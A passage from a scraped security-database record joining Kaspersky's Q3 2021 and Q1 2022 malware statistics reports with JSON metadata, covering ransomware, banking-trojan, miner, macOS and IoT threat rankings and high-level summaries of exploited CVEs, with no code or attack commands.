**Verdicts** | **%*** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 27.67% \n2 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 17.37% \n3 | WannaCry | Trojan-Ransom.Win32.Wanna | 11.84% \n4 | (generic verdict) | Trojan-Ransom.Win32.Gen | 7.78% \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.58% \n6 | (generic verdict) | Trojan-Ransom.Win32.Phny | 5.57% \n7 | PolyRansom/VirLock | Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom | 2.65% \n8 | (generic verdict) | Trojan-Ransom.Win32.Agent | 2.04% \n9 | (generic verdict) | Trojan-Ransom.MSIL.Encoder | 1.07% \n10 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 1.04% \n \n_* Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.\n\n_Number of new miner modifications, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150605/06-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Number of users attacked by miners\n\nIn Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.\n\n_Number of unique users attacked by miners, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150635/07-en-malware-report-q3-2021-pc-graphs.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150710/08-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 2.41 \n2 | Rwanda | 2.26 \n3 | Myanmar | 2.22 \n4 | Uzbekistan | 1.61 \n5 | Ecuador | 1.47 \n6 | Pakistan | 1.43 \n7 | Tanzania | 1.40 \n8 | Mozambique | 1.34 \n9 | Kazakhstan | 1.34 \n10 | Azerbaijan | 1.27 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000). \n** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\n### Quarter highlights\n\nMuch clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: [CVE-2021-1640](<https://nvd.nist.gov/vuln/detail/CVE-2021-1640>), [CVE-2021-26878](<https://nvd.nist.gov/vuln/detail/CVE-2021-26878>), [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), [CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>), [CVE-2021-36947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36947>), [CVE-2021-34483](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>). All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.\n\nThe vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer \u2014 or even a domain controller \u2014 provided the Active Directory certificate service is present and active.\n\nIn the newest OS Windows 11, even before its official release, the vulnerability [CVE-2021-36934](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34483>) was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.\n\nIn Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle ([CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207>), [CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>), [CVE-2021-31195](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195>), [CVE-2021-31196](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196>)). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered [similar vulnerabilities](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>) \u2014 for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.\n\nAs before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server ([CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability [CVE-2021-22937](<https://nvd.nist.gov/vuln/detail/CVE-2021-22937>), which however requires the administrator password for it to be exploited.\n\n### Statistics\n\nAs before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers' job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability [CVE-2021-40444](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444>) was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.\n\nThe way individual Microsoft Office vulnerabilities are ranked by the number of detections does not change much with time: the first positions are still shared by [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), with another popular vulnerability [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>) not far behind. We already covered these many times \u2014 all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.\n\n_Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151038/09-en-malware-report-q3-2021-pc-graphs.png>))_\n\nThe share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 \u2014 some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>) (type confusion error corrupting the heap memory), [CVE-2021-30632](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (out-of-bounds write in V8) and [CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.\n\nThe third place if held by Google Android vulnerabilities (5.36%) \u2014 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.\n\nOur ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).\n\n## Attacks on macOS\n\nWe will remember Q3 2021 for the two interesting revelations. The first one is the use of [malware code targeting macOS](<https://securelist.com/wildpressure-targets-macos/103072/>) as part of the WildPressure campaign. The second is the detailed [review of the previously unknown FinSpy implants](<https://securelist.com/finspy-unseen-findings/104322/>) for macOS.\n\nSpeaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps. Among the noteworthy ones is Monitor.OSX.HistGrabber.b (second place on the list) \u2014 this potentially unwanted software sends user browser history to its owners' servers.\n\n**Top 20 threats for macOS**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | AdWare.OSX.Pirrit.j | 13.22 \n2 | Monitor.OSX.HistGrabber.b | 11.19 \n3 | AdWare.OSX.Pirrit.ac | 10.31 \n4 | AdWare.OSX.Pirrit.o | 9.32 \n5 | AdWare.OSX.Bnodlero.at | 7.43 \n6 | Trojan-Downloader.OSX.Shlayer.a | 7.22 \n7 | AdWare.OSX.Pirrit.gen | 6.41 \n8 | AdWare.OSX.Cimpli.m | 6.29 \n9 | AdWare.OSX.Bnodlero.bg | 6.13 \n10 | AdWare.OSX.Pirrit.ae | 5.96 \n11 | AdWare.OSX.Agent.gen | 5.65 \n12 | AdWare.OSX.Pirrit.aa | 5.39 \n13 | Trojan-Downloader.OSX.Agent.h | 4.49 \n14 | AdWare.OSX.Bnodlero.ay | 4.18 \n15 | AdWare.OSX.Ketin.gen | 3.56 \n16 | AdWare.OSX.Ketin.h | 3.46 \n17 | Backdoor.OSX.Agent.z | 3.45 \n18 | Trojan-Downloader.OSX.Lador.a | 3.06 \n19 | AdWare.OSX.Bnodlero.t | 2.80 \n20 | AdWare.OSX.Bnodlero.ax | 2.64 \n \n_* Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked._\n\n### Geography of threats for macOS\n\n_Geography of threats for macOS, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151108/10-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | France | 3.05 \n2 | Spain | 2.85 \n3 | India | 2.70 \n4 | Mexico | 2.59 \n5 | Canada | 2.52 \n6 | Italy | 2.42 \n7 | United States | 2.37 \n8 | Australia | 2.23 \n9 | Brazil | 2.21 \n10 | United Kingdom | 2.12 \n \n_* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000). \n** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nIn Q3 2021, France took the lead having the greatest percentage of attacks on users of Kaspersky security solutions (3.05%), with the potentially unwanted software Monitor.OSX.HistGrabber being the prevalent threat there. Spain and India came in second and third, with the Pirrit family adware as their prevalent threat.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q3 2021, most of the devices that attacked Kaspersky honeypots did so using the Telnet protocol. Just less than a quarter of all devices attempted brute-forcing our traps via SSH.\n\nTelnet | 76.55% \n---|--- \nSSH | 23.45% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2021_\n\nThe statistics for working sessions with Kaspersky honeypots show similar Telnet dominance.\n\nTelnet | 84.29% \n---|--- \nSSH | 15.71% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2021_\n\n**Top 10 threats delivered to IoT devices via Telnet**\n\n| **Verdict** | **%*** \n---|---|--- \n1 | Backdoor.Linux.Mirai.b | 39.48 \n2 | Trojan-Downloader.Linux.NyaDrop.b | 20.67 \n3 | Backdoor.Linux.Agent.bc | 10.00 \n4 | Backdoor.Linux.Mirai.ba | 8.65 \n5 | Trojan-Downloader.Shell.Agent.p | 3.50 \n6 | Backdoor.Linux.Gafgyt.a | 2.52 \n7 | RiskTool.Linux.BitCoinMiner.b | 1.69 \n8 | Backdoor.Linux.Ssh.a | 1.23 \n9 | Backdoor.Linux.Mirai.ad | 1.20 \n10 | HackTool.Linux.Sshbru.s | 1.12 \n \n_* Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats._\n\nDetailed IoT threat statistics are published in our Q3 2021 DDoS report: <https://securelist.com/ddos-attacks-in-q3-2021/104796/#attacks-on-iot-honeypots>\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that serve as sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted._\n\nIn Q3 2021, Kaspersky solutions blocked 1,098,968,315 attacks launched from online resources located across the globe. Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n\n_Distribution of web-attack sources by country, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151328/13-en-malware-report-q3-2021-pc-graphs-1.png>))_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Tunisia | 27.15 \n2 | Syria | 17.19 \n3 | Yemen | 17.05 \n4 | Nepal | 15.27 \n5 | Algeria | 15.27 \n6 | Macao | 14.83 \n7 | Belarus | 14.50 \n8 | Moldova | 13.91 \n9 | Madagascar | 13.80 \n10 | Serbia | 13.48 \n11 | Libya | 13.13 \n12 | Mauritania | 13.06 \n13 | Mongolia | 13.06 \n14 | India | 12.89 \n15 | Palestine | 12.79 \n16 | Sri Lanka | 12.76 \n17 | Ukraine | 12.39 \n18 | Estonia | 11.61 \n19 | Tajikistan | 11.44 \n20 | Qatar | 11.14 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data._\n\nOn average during the quarter, 8.72% of computers of Internet users worldwide were subjected to at least one **Malware-class** web attack.\n\n_Geography of web-based malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151358/14-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q3 2021, our File Anti-Virus detected **62,577,326** malicious and potentially unwanted objects.\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| **Country*** | **% of attacked users**** \n---|---|--- \n1 | Turkmenistan | 47.42 \n2 | Yemen | 44.27 \n3 | Ethiopia | 42.57 \n4 | Tajikistan | 42.51 \n5 | Uzbekistan | 40.41 \n6 | South Sudan | 40.15 \n7 | Afghanistan | 40.07 \n8 | Cuba | 38.20 \n9 | Bangladesh | 36.49 \n10 | Myanmar | 35.96 \n11 | Venezuela | 35.20 \n12 | China | 35.16 \n13 | Syria | 34.64 \n14 | Madagascar | 33.49 \n15 | Rwanda | 33.06 \n16 | Sudan | 33.01 \n17 | Benin | 32.68 \n18 | Burundi | 31.88 \n19 | Laos | 31.70 \n20 | Cameroon | 31.28 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000). \n** Unique users on whose computers **Malware-class** local threats were blocked, as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23151433/15-en-malware-report-q3-2021-pc-graphs.png>))_\n\nOn average worldwide, **Malware-class** local threats were recorded on 15.14% of users' computers at least once during the quarter. Russia scored 14.64% in this rating.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-26T12:00:36", "type": "securelist", "title": "IT threat evolution in Q3 2021. PC statistics", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2017-8570", "CVE-2018-0802", "CVE-2019-7481", "CVE-2021-1640", "CVE-2021-1675", "CVE-2021-22937", "CVE-2021-26084", "CVE-2021-26878", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-33766", "CVE-2021-34473", "CVE-2021-34483", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-36934", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958", "CVE-2021-40444"], "modified": "2021-11-26T12:00:36", "id": "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "href": "https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-30T13:56:48", "description": "\n\n * [IT threat evolution in Q1 2022](<https://securelist.com/it-threat-evolution-q1-2022/106513/>)\n * **IT threat evolution in Q1 2022. Non-mobile statistics**\n * [IT threat evolution in Q1 2022. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q1-2022-mobile-statistics/106589/>)\n\n_These statistics are based on detection verdicts of Kaspersky products and services received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q1 2022:\n\n * Kaspersky solutions blocked 1,216,350,437 attacks from online resources across the globe.\n * Web Anti-Virus recognized 313,164,030 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 107,848 unique users.\n * Ransomware attacks were defeated on the computers of 74,694 unique users.\n * Our File Anti-Virus detected 58,989,058 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q1 2022 Kaspersky solutions blocked the launch of at least one piece of malware designed to steal money from bank accounts on the computers of 107,848 unique users.\n\n_Number of unique users attacked by financial malware, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231205/01-en-malware-report-q1-2022-pc.png>))_\n\n#### Geography of financial malware attacks\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country and territory we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country or territory._\n\n_Geography of financial malware attacks, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231231/02-en-malware-report-q1-2022-pc.png>))_\n\n**TOP 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 4.5 \n2 | Afghanistan | 4.0 \n3 | Tajikistan | 3.9 \n4 | Yemen | 2.8 \n5 | Uzbekistan | 2.4 \n6 | China | 2.2 \n7 | Azerbaijan | 2.0 \n8 | Mauritania | 2.0 \n9 | Sudan | 1.8 \n10 | Syria | 1.8 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n#### TOP 10 banking malware families\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | Ramnit/Nimnul | Trojan-Banker.Win32.Ramnit | 36.5 \n2 | Zbot/Zeus | Trojan-Banker.Win32.Zbot | 16.7 \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 6.7 \n4 | SpyEye | Trojan-Spy.Win32.SpyEye | 6.3 \n5 | Gozi | Trojan-Banker.Win32.Gozi | 5.2 \n6 | Cridex/Dridex | Trojan-Banker.Win32.Cridex | 3.5 \n7 | Trickster/Trickbot | Trojan-Banker.Win32.Trickster | 3.3 \n8 | RTM | Trojan-Banker.Win32.RTM | 2.7 \n9 | BitStealer | Trojan-Banker.Win32.BitStealer | 2.2 \n10 | Danabot | Trojan-Banker.Win32.Danabot | 1.8 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\nOur TOP 10 leader changed in Q1: the familiar ZeuS/Zbot (16.7%) dropped to second place and Ramnit/Nimnul (36.5%) took the lead. The TOP 3 was rounded out by CliptoShuffler (6.7%).\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Law enforcement successes\n\n * Several members of the REvil ransomware crime group were [arrested](<https://tass.com/society/1388613>) by Russian law enforcement in January. The Russian Federal Security Service (FSB) [says](<http://www.fsb.ru/fsb/press/message/single.htm!id=10439388%40fsbMessage.html>) it seized the following assets from the cybercriminals: "more than 426 million rubles ($5.6 million) including denominated in cryptocurrency; $600,000; 500,000 euros; computer equipment, the crypto wallets that were used to perpetrate crimes, and 20 luxury cars that were purchased with illicitly obtained money."\n * In February, a Canadian citizen was [sentenced](<https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/>) to 6 years and 8 months in prison for involvement in NetWalker ransomware attacks (also known as Mailto ransomware).\n * In January, Ukrainian police [arrested](<https://www.bleepingcomputer.com/news/security/ukranian-police-arrests-ransomware-gang-that-hit-over-50-firms/>) a ransomware gang who delivered an unclarified strain of malware via e-mail. According to the statement released by the police, over fifty companies in the United States and Europe were attacked by the cybercriminals.\n\n#### HermeticWiper, HermeticRansom and RUransom, etc.\n\nIn February, new malware was discovered which carried out attacks with the aim of destroying files. Two pieces of malware \u2014 a Trojan called HermeticWiper that destroys data and a cryptor called [HermeticRansom](<https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/>) \u2014 were both [used](<https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/>) in cyberattacks in Ukraine. That February, Ukrainian systems were attacked by another Trojan called IsaacWiper, followed by a third Trojan in March called CaddyWiper. The apparent aim of this malware family was to render infected computers unusable leaving no possibility of recovering files.\n\nAn intelligence team later discovered that HermeticRansom only superficially encrypts files, and ones encrypted by the ransomware [can be decrypted](<https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/>).\n\nRUransom malware was discovered in March, which was created to encrypt files on computers in Russia. The analysis of the malicious code revealed it was developed to wipe data, as RUransom generates keys for all the victim's encrypted files without storing them anywhere.\n\n#### Conti source-code leak\n\nThe ransomware group Conti had its source code leaked along with its chat logs which were made public. It happened shortly after the Conti group [expressed](<https://www.theverge.com/2022/2/28/22955246/conti-ransomware-russia-ukraine-chat-logs-leaked>) support for the Russian government's actions on its website. The true identity of the individual who leaked the data is currently unknown. According to different versions, it could have been a researcher or an insider in the group who disagrees with its position.\n\nWhoever it may have been, the leaked ransomware source codes in the public domain will obviously be at the fingertips of other cybercriminals, which is what happened on more than one occasion with examples like [Hidden Tear](<https://securelist.com/hidden-tear-and-its-spin-offs/73565/>) and Babuk.\n\n#### Attacks on NAS devices\n\nNetwork-attached storage (NAS) devices continue to be targeted by ransomware attacks. A new [wave of Qlocker Trojan infections](<https://www.bleepingcomputer.com/news/security/qlocker-ransomware-returns-to-target-qnap-nas-devices-worldwide/>) on QNAP NAS devices occurred in January following a brief lull which lasted a few months. A new form of ransomware infecting QNAP NAS devices also appeared in the month of January called [DeadBolt](<https://www.bleepingcomputer.com/news/security/qnap-warns-of-new-deadbolt-ransomware-encrypting-nas-devices/>), and [ASUSTOR](<https://www.bleepingcomputer.com/news/security/deadbolt-ransomware-now-targets-asustor-devices-asks-50-btc-for-master-key/>) devices became its new target in February.\n\n#### Maze Decryptor\n\nMaster decryption keys for Maze, Sekhmet and Egregor ransomware were made public in February. The keys turned out to be authentic and we increased our support to decrypt files encrypted by these [infamous](<https://securelist.com/maze-ransomware/99137/>) forms of [ransomware](<https://securelist.com/targeted-ransomware-encrypting-data/99255/>) in our RakhniDecryptor utility. The decryptor is available on the website of our [No Ransom](<https://noransom.kaspersky.com/>) project and the website of the international NoMoreRansom project in the [Decryption Tools](<https://www.nomoreransom.org/en/decryption-tools.html>) section.\n\n### Number of new modifications\n\nIn Q1 2022, we detected eight new ransomware families and 3083 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q1 2021 \u2014 Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231301/03-en-ru-es-malware-report-q1-2022-pc.png>))_\n\n### Number of users attacked by ransomware Trojans\n\nIn Q1 2022, Kaspersky products and technologies protected 74,694 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231325/04-en-malware-report-q1-2022-pc.png>))_\n\n### Geography of attacked users\n\n_Geography of attacks by ransomware Trojans, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231349/05-en-malware-report-q1-2022-pc.png>))_\n\n**TOP 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 2.08 \n2 | Yemen | 1.52 \n3 | Mozambique | 0.82 \n4 | China | 0.49 \n5 | Pakistan | 0.43 \n6 | Angola | 0.40 \n7 | Iraq | 0.40 \n8 | Egypt | 0.40 \n9 | Algeria | 0.36 \n10 | Myanmar | 0.35 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users whose computers were attacked by Trojan encryptors as a percentage of all unique users of Kaspersky products in the country._\n\n### TOP 10 most common families of ransomware Trojans\n\n| **Name** | **Verdicts*** | **Percentage of attacked users**** \n---|---|---|--- \n1 | Stop/Djvu | Trojan-Ransom.Win32.Stop | 24.38 \n2 | WannaCry | Trojan-Ransom.Win32.Wanna | 13.71 \n3 | (generic verdict) | Trojan-Ransom.Win32.Gen | 9.35 \n4 | (generic verdict) | Trojan-Ransom.Win32.Phny | 7.89 \n5 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 5.66 \n6 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 4.07 \n7 | (generic verdict) | Trojan-Ransom.Win32.CryFile | 3.72 \n8 | PolyRansom/VirLock | Trojan-Ransom.Win32.PolyRansom / Virus.Win32.PolyRansom | 3.37 \n9 | (generic verdict) | Trojan-Ransom.Win32.Crypmod | 3.17 \n10 | (generic verdict) | Trojan-Ransom.Win32.Agent | 1.99 \n \n_* Statistics are based on detection verdicts of Kaspersky products. The information was provided by Kaspersky product users who consented to provide statistical data._ \n_** Unique Kaspersky users attacked by specific ransomware Trojan families as a percentage of all unique users attacked by ransomware Trojans._\n\n## Miners\n\n### Number of new miner modifications\n\nIn Q1 2022, Kaspersky solutions detected 21,282 new modifications of miners.\n\n_Number of new miner modifications, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231418/06-en-malware-report-q1-2022-pc.png>))_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 508,449 unique users of Kaspersky products and services worldwide.\n\n_Number of unique users attacked by miners, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231445/07-en-malware-report-q1-2022-pc.png>))_\n\n### Geography of miner attacks\n\n_Geography of miner attacks, Q1 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/25231509/08-en-malware-report-q1-2022-pc.png>))_\n\n**TOP 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Ethiopia | 3.01 \n2 | Tajikistan | 2.60 \n3 | Rwanda | 2.45 \n4 | Uzbekistan | 2.15 \n5 | Kazakhstan | 1.99 \n6 | Tanzania | 1.94 \n7 | Ukraine | 1.83 \n8 | Pakistan | 1.79 \n9 | Mozambique | 1.69 \n10 | Venezuela | 1.67 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by criminals during cyberattacks\n\n### Quarter highlights\n\nIn Q1 2022, a number of serious vulnerabilities were found in Microsoft Windows and its components. More specifically, the vulnerability [CVE-2022-21882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882>) was found to be exploited by an unknown group of cybercriminals: a "type confusion" bug in the win32k.sys driver the attacker can use to gain system privileges. Also worth noting is 